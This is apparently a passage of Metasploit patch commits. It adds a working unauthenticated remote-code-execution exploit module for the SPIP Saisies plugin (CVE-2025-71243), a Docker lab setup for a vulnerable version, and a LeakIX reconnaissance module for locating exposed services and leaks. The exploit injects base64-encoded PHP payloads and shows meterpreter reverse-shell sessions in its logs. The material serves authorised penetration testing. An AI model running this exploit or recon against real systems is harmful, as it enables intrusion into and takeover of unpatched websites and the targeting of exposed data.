+ +meterpreter > +``` diff --git a/lib/msf/core/exploit/remote/http/spip.rb b/lib/msf/core/exploit/remote/http/spip.rb index 2b147fb8097b5..141f59f3c0f94 100644 --- a/lib/msf/core/exploit/remote/http/spip.rb +++ b/lib/msf/core/exploit/remote/http/spip.rb @@ -60,6 +60,28 @@ def spip_plugin_version(plugin_name) config_res = send_request_cgi('method' => 'GET', 'uri' => config_url) return parse_plugin_version(config_res.body, plugin_name) if config_res&.code == 200 + # Case 3: Try fetching paquet.xml directly from common plugin paths + parse_paquet_xml_version(plugin_name) + end + + # Attempt to read the plugin version from its paquet.xml file. + # Plugins can be installed under plugins/ or plugins/auto/. + # + # @param [String] plugin_name Name of the plugin directory + # @return [Rex::Version, nil] Version from the paquet.xml prefix attribute, or nil + def parse_paquet_xml_version(plugin_name) + %W[ + plugins/#{plugin_name}/paquet.xml + plugins/auto/#{plugin_name}/paquet.xml + ].each do |path| + res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, path)) + next unless res&.code == 200 + + if res.body =~ /prefix="#{plugin_name}"/ && res.body =~ /version="(\d+(?:\.\d+)+)"/ + return Rex::Version.new(::Regexp.last_match(1)) + end + end + nil end diff --git a/modules/exploits/multi/http/spip_saisies_rce.rb b/modules/exploits/multi/http/spip_saisies_rce.rb new file mode 100644 index 0000000000000..de5af7b054f54 --- /dev/null +++ b/modules/exploits/multi/http/spip_saisies_rce.rb @@ -0,0 +1,228 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Payload::Php + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::Spip + prepend Msf::Exploit::Remote::AutoCheck + + FORM_PARAM = '_anciennes_valeurs'.freeze + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'SPIP Saisies Plugin Unauthenticated RCE', + 'Description' => %q{ + This module exploits an unauthenticated PHP code injection in the SPIP + Saisies plugin (CVE-2025-71243). The _anciennes_valeurs form parameter is + interpolated unsanitized into a hidden field rendered with + interdire_scripts=false, allowing direct PHP code execution via template + eval. + + Exploitation requires a publicly accessible page containing a + saisies-powered form, most commonly created with the Formidable plugin. + Use the FORM_PAGE option to specify a known form page, or set it to + 'crawl' to automatically discover one by following internal links from + the SPIP sitemap. + + Versions 5.4.0 through 5.11.0 of the saisies plugin are affected. + }, + 'Author' => [ + 'OpenStudio', # Discovery + 'Valentin Lobstein ' # PoC and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2025-71243'], + ['URL', 'https://blog.spip.net/Mise-a-jour-critique-de-securite-pour-le-plugin-Saisies.html'], + ['URL', 'https://plugins.spip.net/saisies'] + ], + 'Targets' => [ + [ + 'PHP In-Memory', { + 'Platform' => 'php', + 'Arch' => ARCH_PHP + # tested with php/meterpreter/reverse_tcp + } + ], + [ + 'Unix/Linux Command Shell', { + 'Platform' => %w[unix linux], + 'Arch' => ARCH_CMD + # tested with cmd/linux/http/x64/meterpreter/reverse_tcp + } + ], + [ + 'Windows Command Shell', { + 'Platform' => 'win', + 'Arch' => ARCH_CMD + # tested with cmd/windows/http/x64/meterpreter/reverse_tcp + } + ] + ], + 'DefaultTarget' => 0, + 'Privileged' => false, + 'DisclosureDate' => '2025-02-19', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + register_options([ + OptString.new('FORM_PAGE', [ + true, + 'Page containing a saisies form (e.g. "contact"), or "crawl" to auto-discover', + 'crawl' + ]), + OptInt.new('CRAWL_MAX_PAGES', [true, 'Maximum pages to visit when crawling', 100]) + ]) + end + + def check + version = spip_plugin_version('saisies') + unless version + return CheckCode::Unknown('Could not determine the saisies plugin version.') + end + + print_status("Saisies plugin version: #{version}") + + if version.between?(Rex::Version.new('5.4.0'), Rex::Version.new('5.11.0')) + return CheckCode::Appears("Saisies plugin #{version} is in the vulnerable range (5.4.0 - 5.11.0).") + end + + CheckCode::Safe("Saisies plugin #{version} is not in the vulnerable range.") + end + + # Find a page containing a saisies form (_anciennes_valeurs parameter). + # When FORM_PAGE is set to a specific page name, only that page is checked. + # When set to 'crawl', the module fetches the SPIP sitemap and follows + # internal links until a form is found or CRAWL_MAX_PAGES is reached. + def find_form_page + if datastore['FORM_PAGE'].downcase != 'crawl' + page = datastore['FORM_PAGE'] + uri = page.start_with?('/') ? page : normalize_uri(target_uri.path, "spip.php?page=#{page}") + return uri if saisies_form?(uri) + + fail_with(Failure::NotFound, "No saisies form found at #{uri}") + end + + crawl_for_form + end + + def saisies_form?(uri) + res = send_request_cgi('method' => 'GET', 'uri' => uri) + res&.code == 200 && res.body.include?(FORM_PARAM) + end + + def crawl_for_form + max_pages = datastore['CRAWL_MAX_PAGES'] + seen = Set.new + queue = [] + + # Seed with the SPIP sitemap page + plan_uri = normalize_uri(target_uri.path, 'spip.php?page=plan') + res = send_request_cgi('method' => 'GET', 'uri' => plan_uri) + if res&.code == 200 + seen.add(plan_uri) + extract_internal_links(res).each { |link| queue << link } + end + + # Also seed with the base URL + base_uri = normalize_uri(target_uri.path, 'spip.php') + queue << base_uri unless seen.include?(base_uri) + + print_status("Crawling for saisies forms (max #{max_pages} pages)...") + + until queue.empty? || seen.size >= max_pages + uri = queue.shift + next if seen.include?(uri) + + seen.add(uri) + vprint_status("Checking #{uri}") + + begin + res = send_request_cgi('method' => 'GET', 'uri' => uri) + rescue ::Rex::ConnectionError + next + end + + next unless res&.code == 200 + + if res.body.include?(FORM_PARAM) + print_good("Form found at #{uri} (checked #{seen.size} pages)") + return uri + end + + extract_internal_links(res).each do |link| + queue << link unless seen.include?(link) + end + end + + fail_with(Failure::NotFound, "No saisies form found after crawling #{seen.size} pages.") + end + + # Extract internal links from an HTML response, filtering out static assets. + def extract_internal_links(res) + links = [] + doc = res.get_html_document + return links unless doc + + doc.css('a[href]').each do |a| + href = a['href'].to_s.strip + next if href.empty? || href.start_with?('#', 'mailto:', 'javascript:') + next if href.match?(/\.(css|js|png|jpe?g|gif|svg|ico|woff2?|xml|pdf|zip|gz)(\?|$)/i) + + # Resolve relative URLs to absolute paths + if href.start_with?('http://', 'https://') + # Only follow links on the same host + uri = begin + URI.parse(href) + rescue StandardError + next + end + target = begin + URI.parse(full_uri) + rescue StandardError + next + end + next unless uri.host == target.host + + href = uri.path + href += "?#{uri.query}" if uri.query + elsif !href.start_with?('/') + href = normalize_uri(target_uri.path, href) + end + + links << href + end + + links.uniq + end + + def exploit + form_uri = find_form_page + + print_status('Sending payload...') + + phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded) + b64 = Rex::Text.encode_base64(phped_payload) + tag = Rex::Text.rand_text_alpha(8) + injection = "#{tag}' /> 'POST', + 'uri' => form_uri, + 'vars_post' => { + FORM_PARAM => injection + } + }, 5) + end +end From b904419f285b086833c6c45b7efc60944ff4d153 Mon Sep 17 00:00:00 2001 From: Valentin Lobstein Date: Sat, 21 Feb 2026 09:50:02 +0100 Subject: [PATCH 013/103] Fix: Update SPIP saisies doc with working lab setup --- .../exploit/multi/http/spip_saisies_rce.md | 66 ++++++++----------- 1 file changed, 28 insertions(+), 38 deletions(-) diff --git a/documentation/modules/exploit/multi/http/spip_saisies_rce.md b/documentation/modules/exploit/multi/http/spip_saisies_rce.md index e678e3413dae9..c13f8b2e82cc0 100644 --- a/documentation/modules/exploit/multi/http/spip_saisies_rce.md +++ b/documentation/modules/exploit/multi/http/spip_saisies_rce.md @@ -37,7 +37,8 @@ services: SPIP_ADMIN_PASS: adminadmin SPIP_SITE_ADDRESS: http://localhost:8888 volumes: - - ./setup.sh:/docker-entrypoint-init.d/setup.sh + - ./setup.sh:/opt/setup.sh + entrypoint: ["/bin/bash", "-c", "/opt/setup.sh & exec /docker-entrypoint.sh apache2-foreground"] depends_on: db: condition: service_healthy @@ -66,10 +67,10 @@ Create `setup.sh`: ```bash #!/bin/bash -set -e +# Post-install setup: install vulnerable saisies + create public form PLUGINS_DIR="/var/www/html/plugins" -SAISIES_URL="https://files.spip.org/spip-zone/spip-contrib-extensions/saisies-d7b40-saisies-5.11.0.zip" +SAISIES_URL="https://files.spip.org/spip-zone/spip-contrib-extensions/saisies-222af-saisies-5.10.0.zip" echo "[*] Waiting for SPIP to be fully installed..." until [ -f /var/www/html/config/connect.php ]; do @@ -77,42 +78,18 @@ until [ -f /var/www/html/config/connect.php ]; do done sleep 5 -echo "[*] Installing vulnerable saisies plugin v5.11.0..." +echo "[*] Installing vulnerable saisies plugin v5.10.0..." apt-get update -qq && apt-get install -y -qq unzip >/dev/null 2>&1 mkdir -p "$PLUGINS_DIR" curl -sL "$SAISIES_URL" -o /tmp/saisies.zip unzip -qo /tmp/saisies.zip -d "$PLUGINS_DIR/" chown -R www-data:www-data "$PLUGINS_DIR/" -echo "[*] Activating saisies plugin via database..." -until mysql -h db -u spip -pspip spip -e "SELECT 1 FROM spip_meta WHERE nom='plugin' LIMIT 1" >/dev/null 2>&1; do - sleep 2 -done - -php -r ' -require "/var/www/html/vendor/autoload.php"; -$_SERVER = array_merge($_SERVER, [ - "REQUEST_URI" => "/setup.php", "SERVER_NAME" => "localhost", - "SERVER_PORT" => "80", "HTTP_HOST" => "localhost", - "REQUEST_METHOD" => "GET", "SCRIPT_NAME" => "/setup.php", - "SCRIPT_FILENAME" => "/var/www/html/setup.php", -]); -chdir("/var/www/html"); -require "ecrire/inc_version.php"; -include_spip("base/abstract_sql"); - -$meta = sql_getfetsel("valeur", "spip_meta", "nom=" . sql_quote("plugin")); -$plugins = unserialize($meta); -$plugins["SAISIES"] = [ - "dir" => "saisies", "dir_type" => "_DIR_PLUGINS", - "nom" => "Saisies", "etat" => "stable", "version" => "5.11.0" -]; -sql_updateq("spip_meta", ["valeur" => serialize($plugins), "impt" => "oui"], "nom=" . sql_quote("plugin")); -echo "Saisies activated\n"; -array_map("unlink", glob(_DIR_TMP . "*.php") ?: []); -' +echo "[*] Activating saisies plugin..." +echo "yes" | spip plugins:activer saisies echo "[*] Creating contact form with _saisies..." +mkdir -p /var/www/html/formulaires cat > /var/www/html/formulaires/contact.php << 'FORMPHP' "Merci !"]; } FORMPHP +cat > /var/www/html/formulaires/contact.html << 'FORMHTML' +
+[(#ENV{message_ok}|oui)

[(#ENV{message_ok})]

] +[(#ENV{editable}|oui) +
+#ACTION_FORMULAIRE{#ENV{action},#ENV{form}} + +

+
+] +
+FORMHTML + mkdir -p /var/www/html/squelettes cat > /var/www/html/squelettes/contact.html << 'SQHTML' @@ -148,7 +138,7 @@ chmod +x setup.sh docker compose up -d ``` -Wait a couple of minutes for the setup script to install saisies and create the +Wait about a minute for the setup script to install saisies and create the contact form. The form will be at `http://localhost:8888/spip.php?page=contact`. ## Verification Steps @@ -176,7 +166,7 @@ Maximum number of pages to visit when crawling. Default is 100. ## Scenarios -### SPIP with Saisies 5.11.0 - PHP Meterpreter (direct page) +### SPIP with Saisies 5.10.0 - PHP Meterpreter (direct page) ``` msf6 > use exploit/multi/http/spip_saisies_rce @@ -194,8 +184,8 @@ msf6 exploit(multi/http/spip_saisies_rce) > run [*] Started reverse TCP handler on 172.17.0.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) -[*] Saisies plugin version: 5.11.0 -[+] The target appears to be vulnerable. Saisies plugin 5.11.0 is in the vulnerable range (5.4.0 - 5.11.0). +[*] Saisies plugin version: 5.10.0 +[+] The target appears to be vulnerable. Saisies plugin 5.10.0 is in the vulnerable range (5.4.0 - 5.11.0). [+] Form found at /spip.php?page=contact [*] Sending payload... [*] Sending stage (42137 bytes) to 172.18.0.3 @@ -204,7 +194,7 @@ msf6 exploit(multi/http/spip_saisies_rce) > run meterpreter > ``` -### SPIP with Saisies 5.11.0 - PHP Meterpreter (crawl mode) +### SPIP with Saisies 5.10.0 - PHP Meterpreter (crawl mode) ``` msf6 > use exploit/multi/http/spip_saisies_rce @@ -222,8 +212,8 @@ msf6 exploit(multi/http/spip_saisies_rce) > run [*] Started reverse TCP handler on 172.17.0.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) -[*] Saisies plugin version: 5.11.0 -[+] The target appears to be vulnerable. Saisies plugin 5.11.0 is in the vulnerable range (5.4.0 - 5.11.0). +[*] Saisies plugin version: 5.10.0 +[+] The target appears to be vulnerable. Saisies plugin 5.10.0 is in the vulnerable range (5.4.0 - 5.11.0). [*] Crawling for saisies forms (max 100 pages)... [+] Form found at /spip.php?page=contact (checked 3 pages) [*] Sending payload... From 53652b3e3b05eac176705648c936fcb3dec8148d Mon Sep 17 00:00:00 2001 From: Valentin Lobstein Date: Sat, 21 Feb 2026 09:50:50 +0100 Subject: [PATCH 014/103] Fix: Update SPIP saisies doc with working lab setup --- documentation/modules/exploit/multi/http/spip_saisies_rce.md | 2 -- 1 file changed, 2 deletions(-) diff --git a/documentation/modules/exploit/multi/http/spip_saisies_rce.md b/documentation/modules/exploit/multi/http/spip_saisies_rce.md index c13f8b2e82cc0..8b0d65f662e8f 100644 --- a/documentation/modules/exploit/multi/http/spip_saisies_rce.md +++ b/documentation/modules/exploit/multi/http/spip_saisies_rce.md @@ -67,8 +67,6 @@ Create `setup.sh`: ```bash #!/bin/bash -# Post-install setup: install vulnerable saisies + create public form - PLUGINS_DIR="/var/www/html/plugins" SAISIES_URL="https://files.spip.org/spip-zone/spip-contrib-extensions/saisies-222af-saisies-5.10.0.zip" From 692a79a49fb42289c55b3bb20f7b4cb7210b23ee Mon Sep 17 00:00:00 2001 From: Valentin Lobstein Date: Sat, 21 Feb 2026 10:45:35 +0100 Subject: [PATCH 015/103] Feat: Add LeakIX search module Add auxiliary/gather/leakix_search module with 6 actions: SEARCH, HOST, DOMAIN, SUBDOMAINS, PLUGINS, and BULK streaming. Includes chunked NDJSON streaming for bulk API, MAXRESULTS limiting, subdomain enumeration, and database reporting. --- .../modules/auxiliary/gather/leakix_search.md | 255 +++++++++ modules/auxiliary/gather/leakix_search.rb | 515 ++++++++++++++++++ 2 files changed, 770 insertions(+) create mode 100644 documentation/modules/auxiliary/gather/leakix_search.md create mode 100644 modules/auxiliary/gather/leakix_search.rb diff --git a/documentation/modules/auxiliary/gather/leakix_search.md b/documentation/modules/auxiliary/gather/leakix_search.md new file mode 100644 index 0000000000000..843b6d0a7567a --- /dev/null +++ b/documentation/modules/auxiliary/gather/leakix_search.md @@ -0,0 +1,255 @@ +## Vulnerable Application + +This module uses the [LeakIX](https://leakix.net) API to search for exposed services +and data leaks across the internet. LeakIX indexes internet-facing services and leaked +credentials/databases, similar to Shodan or Censys but with a focus on data leaks. + +An API key is required. Free keys are available at [https://leakix.net](https://leakix.net). +Pro keys unlock the BULK streaming action and higher page limits. + +The module supports six actions: + +- **SEARCH** - Query LeakIX with a search string (leak or service scope). Paginated, 20 results per page, max 500 pages. +- **HOST** - Retrieve all known services and leaks for a specific IP address. +- **DOMAIN** - Retrieve all known services and leaks for a specific domain. +- **SUBDOMAINS** - Enumerate known subdomains for a domain. +- **PLUGINS** - List all available LeakIX scanner plugins (useful for building queries). +- **BULK** - Stream all leak results via the bulk NDJSON API (Pro only, leak scope only). + +## Verification Steps + +1. Do: `use auxiliary/gather/leakix_search` +1. Do: `set LEAKIX_APIKEY ` +1. Do: `set QUERY +country:"France" +port:3306` +1. Do: `run` +1. Verify that results are returned in a table with IP, port, protocol, host, country, organization, software, type, and source columns. + +## Options + +### LEAKIX_APIKEY + +The LeakIX API key. Required for all actions. Free keys are available at [https://leakix.net](https://leakix.net). + +### QUERY + +The search query string. Required for SEARCH and BULK actions. Uses LeakIX query syntax: + +- `+country:"France"` - filter by country +- `+port:3306` - filter by port +- `plugin:HttpOpenProxy` - filter by plugin name +- `+software.name:"nginx" +country:"US"` - combine filters + +### SCOPE + +Search scope: `leak` or `service`. Default is `leak`. The BULK action only supports `leak` scope. + +### MAXPAGE + +Maximum number of pages to collect for SEARCH (1-500, 20 results per page). Default is 1. The API enforces a hard limit of 500 pages regardless of plan. + +### MAXRESULTS + +Stop collecting after this many results. Works with SEARCH and BULK. Set to 0 (default) for unlimited. + +### TARGET_IP + +Target IP address for the HOST action. + +### TARGET_DOMAIN + +Target domain for the DOMAIN and SUBDOMAINS actions. + +### OUTFILE + +Path to save the results table output. + +### DATABASE + +Set to `true` to add discovered hosts and services to the Metasploit database. + +## Scenarios + +### SEARCH - Find exposed MySQL servers in France + +``` +msf6 > use auxiliary/gather/leakix_search +msf6 auxiliary(gather/leakix_search) > set LEAKIX_APIKEY +LEAKIX_APIKEY => +msf6 auxiliary(gather/leakix_search) > set QUERY +country:"France" +port:3306 +QUERY => +country:"France" +port:3306 +msf6 auxiliary(gather/leakix_search) > set SCOPE service +SCOPE => service +msf6 auxiliary(gather/leakix_search) > run + +[*] Fetching page 1/1... +[+] Got 20 results from page 1 (total: 20) +[*] Total: 20 results + +LeakIX Results +============== + + IP:Port Protocol Host Country Organization Software Type Source + ------ -------- ---- ------- ------------ -------- ---- ------ + x.x.x.x:3306 mysql db.example.com France OVH SAS MySQL 5.7 service MysqlOpenPlugin + x.x.x.x:3306 mysql server2.example.fr France Online S.A.S. MySQL 8.0 service MysqlOpenPlugin + ... + +[*] Auxiliary module execution completed +``` + +### HOST - Lookup a specific IP + +``` +msf6 auxiliary(gather/leakix_search) > set ACTION HOST +ACTION => HOST +msf6 auxiliary(gather/leakix_search) > set TARGET_IP 1.2.3.4 +TARGET_IP => 1.2.3.4 +msf6 auxiliary(gather/leakix_search) > run + +[*] Fetching host details for 1.2.3.4... +[*] 1.2.3.4: 3 results + +LeakIX Results +============== + + IP:Port Protocol Host Country Organization Software Type Source + ------ -------- ---- ------- ------------ -------- ---- ------ + 1.2.3.4:22 ssh host.example United States Example Inc OpenSSH 8 service SshOpenPlugin + 1.2.3.4:80 http host.example United States Example Inc nginx 1.18 service HttpOpenPlugin + 1.2.3.4:443 https host.example United States Example Inc nginx 1.18 service HttpOpenPlugin + +[*] Auxiliary module execution completed +``` + +### DOMAIN - Lookup a specific domain + +``` +msf6 auxiliary(gather/leakix_search) > set ACTION DOMAIN +ACTION => DOMAIN +msf6 auxiliary(gather/leakix_search) > set TARGET_DOMAIN example.com +TARGET_DOMAIN => example.com +msf6 auxiliary(gather/leakix_search) > run + +[*] Fetching domain details for example.com... +[*] example.com: 5 results + +LeakIX Results +============== + + IP:Port Protocol Host Country Organization Software Type Source + ------ -------- ---- ------- ------------ -------- ---- ------ + x.x.x.x:443 https www.example.com United States Example Inc nginx 1.21 service HttpOpenPlugin + x.x.x.x:22 ssh mail.example.com United States Example Inc OpenSSH 8.4 service SshOpenPlugin + ... + +[*] Auxiliary module execution completed +``` + +### SUBDOMAINS - Enumerate subdomains + +``` +msf6 auxiliary(gather/leakix_search) > set ACTION SUBDOMAINS +ACTION => SUBDOMAINS +msf6 auxiliary(gather/leakix_search) > set TARGET_DOMAIN example.com +TARGET_DOMAIN => example.com +msf6 auxiliary(gather/leakix_search) > run + +[*] Fetching subdomains for example.com... +[*] Found 12 subdomains + +Subdomains for example.com +=========================== + + Subdomain Distinct IPs Last Seen + --------- ------------ --------- + www.example.com 2 2025-01-15T10:30:00Z + mail.example.com 1 2025-01-14T08:22:00Z + api.example.com 3 2025-01-15T12:00:00Z + dev.example.com 1 2025-01-10T06:15:00Z + ... + +[*] Auxiliary module execution completed +``` + +### PLUGINS - List available plugins + +``` +msf6 auxiliary(gather/leakix_search) > set ACTION PLUGINS +ACTION => PLUGINS +msf6 auxiliary(gather/leakix_search) > run + +[*] Fetching available plugins... +[*] Found 45 plugins + +LeakIX Plugins +=============== + + Plugin Name + ----------- + ApacheStatusPlugin + CouchDbOpenPlugin + ElasticSearchOpenPlugin + GitConfigPlugin + HttpOpenProxy + MongoOpenPlugin + MysqlOpenPlugin + SshOpenPlugin + ... + +[*] Auxiliary module execution completed +``` + +### BULK - Stream bulk leak results (Pro key required) + +``` +msf6 auxiliary(gather/leakix_search) > set ACTION BULK +ACTION => BULK +msf6 auxiliary(gather/leakix_search) > set QUERY +country:"Germany" +QUERY => +country:"Germany" +msf6 auxiliary(gather/leakix_search) > set MAXRESULTS 50 +MAXRESULTS => 50 +msf6 auxiliary(gather/leakix_search) > run + +[*] Streaming bulk results (Pro API required, leak scope)... +[*] Streamed 50 events... +[*] Reached MAXRESULTS limit (50) +[*] Bulk results: 50 results + +LeakIX Results +============== + + IP:Port Protocol Host Country Organization Software Type Source + ------ -------- ---- ------- ------------ -------- ---- ------ + x.x.x.x:9200 http elastic.example.de Germany Hetzner Online GmbH Elastic 7.10 leak ElasticSearchOpenPlugin + x.x.x.x:27017 mongodb mongo.example.de Germany OVH SAS MongoDB 4.4 leak MongoOpenPlugin + ... + +[*] Auxiliary module execution completed +``` + +### Saving results to database + +Set `DATABASE true` to populate the Metasploit services database with discovered hosts and services: + +``` +msf6 auxiliary(gather/leakix_search) > set DATABASE true +DATABASE => true +msf6 auxiliary(gather/leakix_search) > run + +[*] Fetching page 1/1... +[+] Got 20 results from page 1 (total: 20) +[*] Total: 20 results +... +[*] Auxiliary module execution completed + +msf6 auxiliary(gather/leakix_search) > services + +Services +======== + +host port proto name state info +---- ---- ----- ---- ----- ---- +x.x.x.x 3306 tcp mysql open MySQL 5.7 +x.x.x.x 22 tcp ssh open OpenSSH 8.4 +... +``` diff --git a/modules/auxiliary/gather/leakix_search.rb b/modules/auxiliary/gather/leakix_search.rb new file mode 100644 index 0000000000000..81dfb59935922 --- /dev/null +++ b/modules/auxiliary/gather/leakix_search.rb @@ -0,0 +1,515 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + LEAKIX_API_HOST = 'leakix.net'.freeze + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'LeakIX Search', + 'Description' => %q{ + This module uses the LeakIX API to search for exposed services and data leaks. + LeakIX is a search engine focused on indexing internet-exposed services and + leaked credentials/databases. + + An API key is required (free at https://leakix.net). + + Actions: + SEARCH - Query LeakIX with a search string and scope (leak or service). + Paginated, 20 results per page, max 500 pages (10000 results). + Free accounts have lower page limits. + HOST - Retrieve all known services and leaks for a given IP + DOMAIN - Retrieve all known services and leaks for a given domain + SUBDOMAINS - List known subdomains for a given domain + PLUGINS - List all available LeakIX scanner plugins + BULK - Stream all leak results via the bulk API (Pro only, leak scope only). + Use MAXRESULTS to limit the number of collected events. + + Query examples: + +country:"France" + +port:3306 +country:"Germany" + plugin:HttpOpenProxy + +software.name:"nginx" +country:"US" + }, + 'Author' => [ + 'Valentin Lobstein ', + 'LeakIX ' + ], + 'References' => [ + ['URL', 'https://leakix.net'], + ['URL', 'https://docs.leakix.net'], + ['URL', 'https://github.com/LeakIX/LeakPy'] + ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + }, + 'Actions' => [ + ['SEARCH', { 'Description' => 'Search LeakIX for services or leaks' }], + ['HOST', { 'Description' => 'Get details for a specific IP address' }], + ['DOMAIN', { 'Description' => 'Get details for a specific domain' }], + ['SUBDOMAINS', { 'Description' => 'List subdomains for a domain' }], + ['PLUGINS', { 'Description' => 'List available LeakIX plugins' }], + ['BULK', { 'Description' => 'Bulk search via streaming API (Pro only, leak scope only)' }] + ], + 'DefaultAction' => 'SEARCH' + ) + ) + + register_options([ + OptString.new('LEAKIX_APIKEY', [true, 'The LeakIX API key']), + OptString.new('QUERY', [false, 'The LeakIX search query']), + OptEnum.new('SCOPE', [true, 'Search scope (BULK only supports leak)', 'leak', ['leak', 'service']]), + OptInt.new('MAXPAGE', [true, 'Max pages to collect (1-500, 20 results/page)', 1]), + OptInt.new('MAXRESULTS', [false, 'Stop after collecting this many results (0 = unlimited)', 0]), + OptString.new('TARGET_IP', [false, 'Target IP for HOST action']), + OptString.new('TARGET_DOMAIN', [false, 'Target domain for DOMAIN/SUBDOMAINS actions']), + OptString.new('OUTFILE', [false, 'Path to the file to store results']), + OptBool.new('DATABASE', [false, 'Add search results to the database', false]) + ]) + + register_advanced_options([ + OptString.new('UserAgent', [false, 'The User-Agent header to use for all requests', 'LeakIX/Metasploit']) + ]) + + deregister_http_client_options + end + + # ======================================================================== + # HTTP HELPERS + # ======================================================================== + + def resolve_host + return @resolved_ip if @resolved_ip + + @resolved_ip = ::Addrinfo.getaddrinfo(LEAKIX_API_HOST, nil, :INET, :STREAM).first&.ip_address + fail_with(Failure::Unreachable, "Unable to resolve #{LEAKIX_API_HOST}") unless @resolved_ip + vprint_status("Resolved #{LEAKIX_API_HOST} to #{@resolved_ip}") + @resolved_ip + rescue ::SocketError => e + fail_with(Failure::Unreachable, "Unable to resolve #{LEAKIX_API_HOST}: #{e}") + end + + def leakix_headers + { + 'Host' => LEAKIX_API_HOST, + 'api-key' => datastore['LEAKIX_APIKEY'], + 'Accept' => 'application/json' + } + end + + def leakix_connection_opts + { + 'rhost' => resolve_host, + 'rport' => 443, + 'SSL' => true, + 'vhost' => LEAKIX_API_HOST + } + end + + def leakix_request(uri, params = {}) + res = send_request_cgi( + leakix_connection_opts.merge( + 'method' => 'GET', + 'uri' => uri, + 'headers' => leakix_headers, + 'vars_get' => params + ) + ) + + handle_response_errors(res) + return nil unless res&.code == 200 + + begin + ActiveSupport::JSON.decode(res.body) + rescue StandardError + nil + end + end + + def handle_response_errors(res) + fail_with(Failure::Unreachable, 'No response from LeakIX API') unless res + + case res.code + when 401 + fail_with(Failure::BadConfig, '401 Unauthorized. Your LEAKIX_APIKEY is invalid') + when 429 + wait_seconds = res.headers['x-limited-for'] || 'unknown' + print_warning("Rate limited. Wait #{wait_seconds} seconds before retrying.") + end + end + + # ======================================================================== + # EVENT PARSING & OUTPUT + # ======================================================================== + + def extract_event_fields(event) + { + ip: event['ip'] || '', + port: event['port'] || '', + host: event['host'] || '', + protocol: event['protocol'] || '', + event_type: event['event_type'] || '', + event_source: event['event_source'] || '', + country: event.dig('geoip', 'country_name') || '', + org: event.dig('network', 'organization_name') || '', + software: event.dig('service', 'software', 'name') || '', + version: event.dig('service', 'software', 'version') || '' + } + end + + def software_label(fields) + fields[:software].to_s.empty? ? '' : "#{fields[:software]} #{fields[:version]}".strip + end + + def report_event(fields) + return unless datastore['DATABASE'] + + report_host(host: fields[:ip], name: fields[:host], comments: 'Added from LeakIX') + + return unless fields[:port].to_s =~ /^\d+$/ && fields[:port].to_i > 0 + + report_service(host: fields[:ip], port: fields[:port], proto: 'tcp', name: fields[:protocol], info: software_label(fields)) + end + + def events_table(events) + tbl = Rex::Text::Table.new( + 'Header' => 'LeakIX Results', + 'Indent' => 1, + 'Columns' => ['IP:Port', 'Protocol', 'Host', 'Country', 'Organization', 'Software', 'Type', 'Source'] + ) + + events.each do |event| + next unless event.is_a?(Hash) + + fields = extract_event_fields(event) + tbl << [ + "#{fields[:ip]}:#{fields[:port]}", + fields[:protocol], + fields[:host], + fields[:country], + fields[:org], + software_label(fields), + fields[:event_type], + fields[:event_source] + ] + report_event(fields) + end + + tbl + end + + def save_output(data) + return unless datastore['OUTFILE'] + + ::File.open(datastore['OUTFILE'], 'wb') do |f| + f.write(data) + print_status("Saved results in #{datastore['OUTFILE']}") + end + end + + def display_events(events, label = nil) + if events.empty? + print_error('No results found.') + return + end + + print_status("#{label || 'Total'}: #{events.length} results") + tbl = events_table(events) + print_line(tbl.to_s) + save_output(tbl) + end + + def collect_host_events(data) + events = [] + %w[Services Leaks services leaks].each do |key| + events.concat(data[key]) if data[key].is_a?(Array) + end + events + end + + def apply_maxresults(events, maxresults) + return events unless maxresults > 0 && events.length >= maxresults + + print_status("Reached MAXRESULTS limit (#{maxresults})") + events.first(maxresults) + end + + # ======================================================================== + # ACTIONS + # ======================================================================== + + def action_search + query = datastore['QUERY'] + scope = datastore['SCOPE'] + maxpage = datastore['MAXPAGE'] + maxresults = datastore['MAXRESULTS'].to_i + all_events = [] + + maxpage.times do |page| + print_status("Fetching page #{page + 1}/#{maxpage}...") + + data = leakix_request('/search', { 'q' => query, 'scope' => scope, 'page' => page.to_s }) + + if data.is_a?(Hash) && data['Error'] == 'Page limit' + print_error("Page limit reached at page #{page + 1}") + break + end + + if data.nil? || !data.is_a?(Array) || data.empty? + print_warning("No more results at page #{page + 1}") + break + end + + all_events.concat(data) + print_good("Got #{data.length} results from page #{page + 1} (total: #{all_events.length})") + + if maxresults > 0 && all_events.length >= maxresults + all_events = apply_maxresults(all_events, maxresults) + break + end + + Rex.sleep(1.2) if page < maxpage - 1 + end + + display_events(all_events) + end + + def action_bulk + query = datastore['QUERY'] + maxresults = datastore['MAXRESULTS'].to_i + + print_status('Streaming bulk results (Pro API required, leak scope)...') + + cli = connect(leakix_connection_opts) + req = cli.request_cgi( + 'method' => 'GET', + 'uri' => '/bulk/search', + 'headers' => leakix_headers, + 'vars_get' => { 'q' => query } + ) + + cli.send_request(req) + + head, body_start = read_stream_headers(cli.conn) + status = head[/HTTP\/[\d.]+ (\d+)/, 1].to_i + + case status + when 401 then fail_with(Failure::BadConfig, '401 Unauthorized - invalid LEAKIX_APIKEY') + when 429 then fail_with(Failure::NoAccess, '429 Rate limited') + when 200 then nil + else fail_with(Failure::UnexpectedReply, "HTTP #{status} - Pro API key required") + end + + chunked = head =~ /transfer-encoding:\s*chunked/i + all_events = [] + limit_reached = false + + stream_ndjson(cli.conn, body_start, chunked) do |line| + break if limit_reached + + obj = ActiveSupport::JSON.decode(line) + next unless 